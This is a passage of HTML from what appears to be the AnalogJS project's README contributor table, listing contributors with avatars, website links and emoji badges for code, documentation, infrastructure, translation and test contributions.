src="https://avatars.githubusercontent.com/u/1988476?v=4?s=100" width="100px;" alt="Jason Hodges"/><br /><sub><b>Jason Hodges</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=jasonhodges" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://timdeschryver.dev"><img src="https://avatars.githubusercontent.com/u/28659384?v=4?s=100" width="100px;" alt="Tim Deschryver"/><br /><sub><b>Tim Deschryver</b></sub></a><br /><a href="#infra-timdeschryver" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="http://dalenguyen.me"><img src="https://avatars.githubusercontent.com/u/14116156?v=4?s=100" width="100px;" alt="Dale Nguyen"/><br /><sub><b>Dale Nguyen</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=dalenguyen" title="Code">💻</a> <a href="#design-dalenguyen" title="Design">🎨</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Villanuevand"><img src="https://avatars.githubusercontent.com/u/1209238?v=4?s=100" width="100px;" alt="Andrés Villanueva"/><br /><sub><b>Andrés Villanueva</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=Villanuevand" title="Documentation">📖</a> <a href="#translation-Villanuevand" title="Translation">🌍</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://umairhafeez.com"><img src="https://avatars.githubusercontent.com/u/6948878?v=4?s=100" width="100px;" alt="Umair Hafeez"/><br /><sub><b>Umair Hafeez</b></sub></a><br /><a href="#infra-umairhm" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Yberion"><img src="https://avatars.githubusercontent.com/u/4186385?v=4?s=100" width="100px;" alt="Brandon Largeau"/><br /><sub><b>Brandon Largeau</b></sub></a><br /><a href="#infra-Yberion" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="https://mainawycliffe.dev/"><img src="https://avatars.githubusercontent.com/u/12270550?v=4?s=100" width="100px;" alt="Maina Wycliffe"/><br /><sub><b>Maina Wycliffe</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=mainawycliffe" title="Code">💻</a> <a href="#infra-mainawycliffe" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.prestonlamb.com"><img src="https://avatars.githubusercontent.com/u/2006222?v=4?s=100" width="100px;" alt="Preston Lamb"/><br /><sub><b>Preston Lamb</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=pjlamb12" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=pjlamb12" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://iamandrewluca.com"><img src="https://avatars.githubusercontent.com/u/1881266?v=4?s=100" width="100px;" alt="Andrew Luca"/><br /><sub><b>Andrew Luca</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=iamandrewluca" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://nartc.me"><img src="https://avatars.githubusercontent.com/u/25516557?v=4?s=100" width="100px;" alt="Chau Tran"/><br /><sub><b>Chau Tran</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=nartc" title="Code">💻</a> <a href="#infra-nartc" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/simitch1"><img src="https://avatars.githubusercontent.com/u/20285365?v=4?s=100" width="100px;" alt="Simone "/><br /><sub><b>Simone </b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=simitch1" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://kylerjohnson.dev"><img src="https://avatars.githubusercontent.com/u/75549176?v=4?s=100" width="100px;" alt="Kyler Johnson"/><br /><sub><b>Kyler Johnson</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=KylerJohnsonDev" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://marcjulian.de/?ref=github"><img src="https://avatars.githubusercontent.com/u/8985933?v=4?s=100" width="100px;" alt="Marc"/><br /><sub><b>Marc</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=marcjulian" title="Documentation">📖</a> <a href="https://github.com/analogjs/analog/commits?author=marcjulian" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/himyjan"><img src="https://avatars.githubusercontent.com/u/51815522?v=4?s=100" width="100px;" alt="himyjan"/><br /><sub><b>himyjan</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=himyjan" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/TicTak21"><img src="https://avatars.githubusercontent.com/u/44474697?v=4?s=100" width="100px;" alt="Alex Kovalev"/><br /><sub><b>Alex Kovalev</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=TicTak21" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.linkedin.com/in/nuhmanpk"><img src="https://avatars.githubusercontent.com/u/62880706?v=4?s=100" width="100px;" alt="Nuhman Pk"/><br /><sub><b>Nuhman Pk</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=nuhmanpk" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/miluoshi"><img src="https://avatars.githubusercontent.com/u/1130547?v=4?s=100" width="100px;" alt="Miloš Lajtman"/><br /><sub><b>Miloš Lajtman</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=miluoshi" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.youtube.com/c/CodeShotsWithProfanis"><img src="https://avatars.githubusercontent.com/u/7045092?v=4?s=100" width="100px;" alt="profanis"/><br /><sub><b>profanis</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=profanis" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/hrmcdonald"><img src="https://avatars.githubusercontent.com/u/39349270?v=4?s=100" width="100px;" alt="Reece McDonald"/><br /><sub><b>Reece McDonald</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=hrmcdonald" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://ilteoood.xyz/"><img src="https://avatars.githubusercontent.com/u/6383527?v=4?s=100" width="100px;" alt="Matteo Pietro Dazzi"/><br /><sub><b>Matteo Pietro Dazzi</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=ilteoood" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://lukasmatta.com"><img src="https://avatars.githubusercontent.com/u/4323927?v=4?s=100" width="100px;" alt="Lukáš Matta"/><br /><sub><b>Lukáš Matta</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=lukasmatta" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://ngrome.io"><img src="https://avatars.githubusercontent.com/u/281553?v=4?s=100" width="100px;" alt="Luciano"/><br /><sub><b>Luciano</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=lucianomurr" title="Documentation">📖</a> <a href="https://github.com/analogjs/analog/commits?author=lucianomurr" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://goetzrobin.github.io"><img src="https://avatars.githubusercontent.com/u/35136007?v=4?s=100" width="100px;" alt="Robin Goetz"/><br /><sub><b>Robin Goetz</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=goetzrobin" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ch1ffa"><img src="https://avatars.githubusercontent.com/u/17417010?v=4?s=100" width="100px;" alt="Vadim Evseev"/><br /><sub><b>Vadim Evseev</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=ch1ffa" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://k9n.dev"><img src="https://avatars.githubusercontent.com/u/4279702?v=4?s=100" width="100px;" alt="Danny Koppenhagen"/><br /><sub><b>Danny Koppenhagen</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=d-koppenhagen" title="Documentation">📖</a> <a href="https://github.com/analogjs/analog/commits?author=d-koppenhagen" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://tomwebwalker.pl/"><img src="https://avatars.githubusercontent.com/u/11270899?v=4?s=100" width="100px;" alt="Tomasz Flis"/><br /><sub><b>Tomasz Flis</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=TomWebwalker" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/AdditionAddict"><img src="https://avatars.githubusercontent.com/u/48436581?v=4?s=100" width="100px;" alt="AdditionAddict"/><br /><sub><b>AdditionAddict</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=AdditionAddict" title="Documentation">📖</a> <a href="https://github.com/analogjs/analog/commits?author=AdditionAddict" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.linkedin.com/in/sander-t-0a461458"><img src="https://avatars.githubusercontent.com/u/17591696?v=4?s=100" width="100px;" alt="Sander"/><br /><sub><b>Sander</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=sand4rt" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://perko.dev"><img src="https://avatars.githubusercontent.com/u/5384791?v=4?s=100" width="100px;" alt="Chris Perko"/><br /><sub><b>Chris Perko</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=BaronVonPerko" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=BaronVonPerko" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://christianlydemann.com"><img src="https://avatars.githubusercontent.com/u/9210691?v=4?s=100" width="100px;" alt="Christian Lüdemann"/><br /><sub><b>Christian Lüdemann</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=lydemann" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://yasser.page"><img src="https://avatars.githubusercontent.com/u/9917969?v=4?s=100" width="100px;" alt="Yasser"/><br /><sub><b>Yasser</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=yassernasc" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/MDyrcz5"><img src="https://avatars.githubusercontent.com/u/23345904?v=4?s=100" width="100px;" alt="Michał Dyrcz"/><br /><sub><b>Michał Dyrcz</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=MDyrcz5" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/otonielguajardo"><img src="https://avatars.githubusercontent.com/u/23427095?v=4?s=100" width="100px;" alt="Otoniel Guajardo"/><br /><sub><b>Otoniel Guajardo</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=otonielguajardo" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/gergobergo"><img src="https://avatars.githubusercontent.com/u/25322572?v=4?s=100" width="100px;" alt="gergobergo"/><br /><sub><b>gergobergo</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=gergobergo" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=gergobergo" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/saurajit"><img src="https://avatars.githubusercontent.com/u/3590300?v=4?s=100" width="100px;" alt="saurajit"/><br /><sub><b>saurajit</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=saurajit" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.monocube.com"><img src="https://avatars.githubusercontent.com/u/2464830?v=4?s=100" width="100px;" alt="Mircea Rilă"/><br /><sub><b>Mircea Rilă</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=zawasp" title="Documentation">📖</a> <a href="#infra-zawasp" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="https://dafnik.me"><img src="https://avatars.githubusercontent.com/u/16242839?v=4?s=100" width="100px;" alt="Dominik"/><br /><sub><b>Dominik</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=Dafnik" title="Documentation">📖</a> <a href="https://github.com/analogjs/analog/commits?author=Dafnik" title="Code">💻</a> <a href="#infra-Dafnik" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="https://henriquecustodia.dev"><img src="https://avatars.githubusercontent.com/u/5140430?v=4?s=100" width="100px;" alt="Henrique Custódia"/><br /><sub><b>Henrique Custódia</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=henriquecustodia" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://isoden.dev"><img src="https://avatars.githubusercontent.com/u/3771988?v=4?s=100" width="100px;" alt="ISODA Yu"/><br /><sub><b>ISODA Yu</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=isoden" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://cynthia-developer.netlify.com"><img src="https://avatars.githubusercontent.com/u/37863089?v=4?s=100" width="100px;" alt="Cynthia Iradukunda"/><br /><sub><b>Cynthia Iradukunda</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=ciradu2204" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Drunkenpilot"><img src="https://avatars.githubusercontent.com/u/2257567?v=4?s=100" width="100px;" alt="Drunkenpilot"/><br /><sub><b>Drunkenpilot</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=Drunkenpilot" title="Documentation">📖</a> <a href="https://github.com/analogjs/analog/commits?author=Drunkenpilot" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/jeremyhofer"><img src="https://avatars.githubusercontent.com/u/17076628?v=4?s=100" width="100px;" alt="Jeremy Hofer"/><br /><sub><b>Jeremy Hofer</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=jeremyhofer" title="Documentation">📖</a> <a href="https://github.com/analogjs/analog/commits?author=jeremyhofer" title="Code">💻</a> <a href="#infra-jeremyhofer" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="http://www.routechnology.tech"><img src="https://avatars.githubusercontent.com/u/61606062?v=4?s=100" width="100px;" alt="Olalekan Raheem"/><br /><sub><b>Olalekan Raheem</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=SOG-web" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/luishcastroc"><img src="https://avatars.githubusercontent.com/u/13698269?v=4?s=100" width="100px;" alt="Luis Castro"/><br /><sub><b>Luis Castro</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=luishcastroc" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=luishcastroc" title="Documentation">📖</a> <a href="#translation-luishcastroc" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/QuantariusRay"><img src="https://avatars.githubusercontent.com/u/31900736?v=4?s=100" width="100px;" alt="Q"/><br /><sub><b>Q</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=QuantariusRay" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=QuantariusRay" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/cskiwi"><img src="https://avatars.githubusercontent.com/u/847540?v=4?s=100" width="100px;" alt="Glenn Latomme"/><br /><sub><b>Glenn Latomme</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=cskiwi" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="http://www.justinrassier.com"><img src="https://avatars.githubusercontent.com/u/1228424?v=4?s=100" width="100px;" alt="Justin Rassier"/><br /><sub><b>Justin Rassier</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=justinrassier" title="Documentation">📖</a> <a href="https://github.com/analogjs/analog/commits?author=justinrassier" title="Code">💻</a> <a href="#infra-justinrassier" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="http://riegler.fr"><img src="https://avatars.githubusercontent.com/u/1300985?v=4?s=100" width="100px;" alt="Matthieu Riegler"/><br /><sub><b>Matthieu Riegler</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=JeanMeche" title="Documentation">📖</a> <a href="#infra-JeanMeche" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://github.com/analogjs/analog/commits?author=JeanMeche" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ashley-hunter"><img src="https://avatars.githubusercontent.com/u/20795331?v=4?s=100" width="100px;" alt="Ashley Hunter"/><br /><sub><b>Ashley Hunter</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=ashley-hunter" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="http://ng-guru.io"><img src="https://avatars.githubusercontent.com/u/7337691?v=4?s=100" width="100px;" alt="Artur Androsovych"/><br /><sub><b>Artur Androsovych</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=arturovt" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=arturovt" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://bjornlu.com"><img src="https://avatars.githubusercontent.com/u/34116392?v=4?s=100" width="100px;" alt="Bjorn Lu"/><br /><sub><b>Bjorn Lu</b></sub></a><br /><a href="#infra-bluwy" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/omarbelkhodja"><img src="https://avatars.githubusercontent.com/u/2501093?v=4?s=100" width="100px;" alt="Omar BELKHODJA"/><br /><sub><b>Omar BELKHODJA</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=omarbelkhodja" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/deepakrudrapaul"><img src="https://avatars.githubusercontent.com/u/25549935?v=4?s=100" width="100px;" alt="Deepak Rudra Paul"/><br /><sub><b>Deepak Rudra Paul</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=deepakrudrapaul" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/mavrukin"><img src="https://avatars.githubusercontent.com/u/239147?v=4?s=100" width="100px;" alt="Michael Avrukin"/><br /><sub><b>Michael Avrukin</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=mavrukin" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/rlmestre"><img src="https://avatars.githubusercontent.com/u/277805?v=4?s=100" width="100px;" alt="Rafael Mestre"/><br /><sub><b>Rafael Mestre</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=rlmestre" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=rlmestre" title="Documentation">📖</a> <a href="#infra-rlmestre" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/santoshyadavdev"><img src="https://avatars.githubusercontent.com/u/11923975?v=4?s=100" width="100px;" alt="Santosh Yadav"/><br /><sub><b>Santosh Yadav</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=santoshyadavdev" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Tenessy"><img src="https://avatars.githubusercontent.com/u/65855673?v=4?s=100" width="100px;" alt="Tenessy"/><br /><sub><b>Tenessy</b></sub></a><br /><a href="#infra-Tenessy" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://github.com/analogjs/analog/commits?author=Tenessy" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=Tenessy" title="Tests">⚠️</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Jad31"><img src="https://avatars.githubusercontent.com/u/46532649?v=4?s=100" width="100px;" alt="Jad Chahed"/><br /><sub><b>Jad Chahed</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=Jad31" title="Documentation">📖</a> <a href="#translation-Jad31" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.gta-sa.com.br/"><img src="https://avatars.githubusercontent.com/u/40439982?v=4?s=100" width="100px;" alt="Gesiel Rosa"/><br /><sub><b>Gesiel Rosa</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=gesielrosa" title="Documentation">📖</a> <a href="#translation-gesielrosa" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="http://besimgurbuz.dev/"><img src="https://avatars.githubusercontent.com/u/33575384?v=4?s=100" width="100px;" alt="Besim Gürbüz"/><br /><sub><b>Besim Gürbüz</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=besimgurbuz" title="Documentation">📖</a> <a href="#translation-besimgurbuz" title="Translation">🌍</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/lukasnys"><img src="https://avatars.githubusercontent.com/u/22593230?v=4?s=100" width="100px;" alt="Lukas Nys"/><br /><sub><b>Lukas Nys</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=lukasnys" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/alaendle"><img src="https://avatars.githubusercontent.com/u/969523?v=4?s=100" width="100px;" alt="Andreas Ländle"/><br /><sub><b>Andreas Ländle</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=alaendle" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://ksgn.dev"><img src="https://avatars.githubusercontent.com/u/498197?v=4?s=100" width="100px;" alt="Pascal Küsgen"/><br /><sub><b>Pascal Küsgen</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=Pascalmh" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="http://alejandrocuba.com"><img src="https://avatars.githubusercontent.com/u/6283346?v=4?s=100" width="100px;" alt="Alejandro Cuba Ruiz"/><br /><sub><b>Alejandro Cuba Ruiz</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=alejandrocuba" title="Documentation">📖</a> <a href="#translation-alejandrocuba" title="Translation">🌍</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Shreyas0410"><img src="https://avatars.githubusercontent.com/u/70795867?v=4?s=100" width="100px;" alt="Shreyas0410"/><br /><sub><b>Shreyas0410</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=Shreyas0410" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Den-dp"><img src="https://avatars.githubusercontent.com/u/1770529?v=4?s=100" width="100px;" alt="Denis Bendrikov"/><br /><sub><b>Denis Bendrikov</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=Den-dp" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/iancharlesdouglas"><img src="https://avatars.githubusercontent.com/u/3481593?v=4?s=100" width="100px;" alt="iancharlesdouglas"/><br /><sub><b>iancharlesdouglas</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=iancharlesdouglas" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://twitter.com/OCombe"><img src="https://avatars.githubusercontent.com/u/265378?v=4?s=100" width="100px;" alt="Olivier Combe"/><br /><sub><b>Olivier Combe</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=ocombe" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/sasidharansd"><img src="https://avatars.githubusercontent.com/u/47988127?v=4?s=100" width="100px;" alt="Sasidharan SD"/><br /><sub><b>Sasidharan SD</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=sasidharansd" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://beta.ajitpanigrahi.com"><img src="https://avatars.githubusercontent.com/u/19947758?v=4?s=100" width="100px;" alt="Ajit Panigrahi"/><br /><sub><b>Ajit Panigrahi</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=ajitzero" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/nemu69"><img src="https://avatars.githubusercontent.com/u/43633395?v=4?s=100" width="100px;" alt="nepage-l"/><br /><sub><b>nepage-l</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=nemu69" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://jeffreysmith.ninja"><img src="https://avatars.githubusercontent.com/u/5161547?v=4?s=100" width="100px;" alt="Jeff"/><br /><sub><b>Jeff</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=Jefftopia" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://sammymohamed.com"><img src="https://avatars.githubusercontent.com/u/22568206?v=4?s=100" width="100px;" alt="Sammy Mohamed"/><br /><sub><b>Sammy Mohamed</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=thatsamsonkid" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://www.joshmorony.com"><img src="https://avatars.githubusercontent.com/u/2578009?v=4?s=100" width="100px;" alt="Josh Morony"/><br /><sub><b>Josh Morony</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=joshuamorony" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ilirbeqirii"><img src="https://avatars.githubusercontent.com/u/24731032?v=4?s=100" width="100px;" alt="Ilir Beqiri"/><br /><sub><b>Ilir Beqiri</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=ilirbeqirii" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/remes2000"><img src="https://avatars.githubusercontent.com/u/26173223?v=4?s=100" width="100px;" alt="Michał Nieruchalski"/><br /><sub><b>Michał Nieruchalski</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=remes2000" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://angelfraga.com/"><img src="https://avatars.githubusercontent.com/u/11693938?v=4?s=100" width="100px;" alt="Angel Fraga Parodi"/><br /><sub><b>Angel Fraga Parodi</b></sub></a><br /><a href="#infra-angelfraga" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://github.com/analogjs/analog/commits?author=angelfraga" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://alexfriesen.net/"><img src="https://avatars.githubusercontent.com/u/1307706?v=4?s=100" width="100px;" alt="Alex"/><br /><sub><b>Alex</b></sub></a><br /><a href="#infra-alexfriesen" title="Infrastructure (Hosting, Build-Tools, etc)">🚇</a> <a href="https://github.com/analogjs/analog/commits?author=alexfriesen" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/duluca"><img src="https://avatars.githubusercontent.com/u/822159?v=4?s=100" width="100px;" alt="Doguhan Uluca"/><br /><sub><b>Doguhan Uluca</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=duluca" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/nckirik"><img src="https://avatars.githubusercontent.com/u/53273233?v=4?s=100" width="100px;" alt="N. Can KIRIK"/><br /><sub><b>N. Can KIRIK</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=nckirik" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/ShPelles"><img src="https://avatars.githubusercontent.com/u/43875468?v=4?s=100" width="100px;" alt="ShPelles"/><br /><sub><b>ShPelles</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=ShPelles" title="Documentation">📖</a></td> </tr> <tr> <td align="center" valign="top" width="14.28%"><a href="https://pavankjadda.dev"><img src="https://avatars.githubusercontent.com/u/17564080?v=4?s=100" width="100px;" alt="Pavan Kumar Jadda"/><br /><sub><b>Pavan Kumar Jadda</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=pavankjadda" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://monacodelisa.com/"><img src="https://avatars.githubusercontent.com/u/64324417?v=4?s=100" width="100px;" alt="Esther White"/><br /><sub><b>Esther White</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=monacodelisa" title="Code">💻</a> <a href="https://github.com/analogjs/analog/commits?author=monacodelisa" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/Micha-Richter"><img src="https://avatars.githubusercontent.com/u/12509902?v=4?s=100" width="100px;" alt="Michael Richter"/><br /><sub><b>Michael Richter</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=Micha-Richter" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://a21.dev"><img src="https://avatars.githubusercontent.com/u/24437129?v=4?s=100" width="100px;" alt="Rafael Triantafillidis"/><br /><sub><b>Rafael Triantafillidis</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=alator21" title="Code">💻</a></td> <td align="center" valign="top" width="14.28%"><a href="https://github.com/pi0"><img src="https://avatars.githubusercontent.com/u/5158436?v=4?s=100" width="100px;" alt="Pooya Parsa"/><br /><sub><b>Pooya Parsa</b></sub></a><br /><a href="https://github.com/analogjs/analog/commits?author=pi0" title="Documentation">📖</a></td> <td align="center" valign="top" width="14.28%"><a href="https://crutchcorn.dev"><img src="https://avatars.githubusercontent.com/u/9100169?v=4?s=100" width="100px;" alt="Corbin Crutchley"/><br /><sub><b>Corbin Crutchley</b></sub></a><br /><a 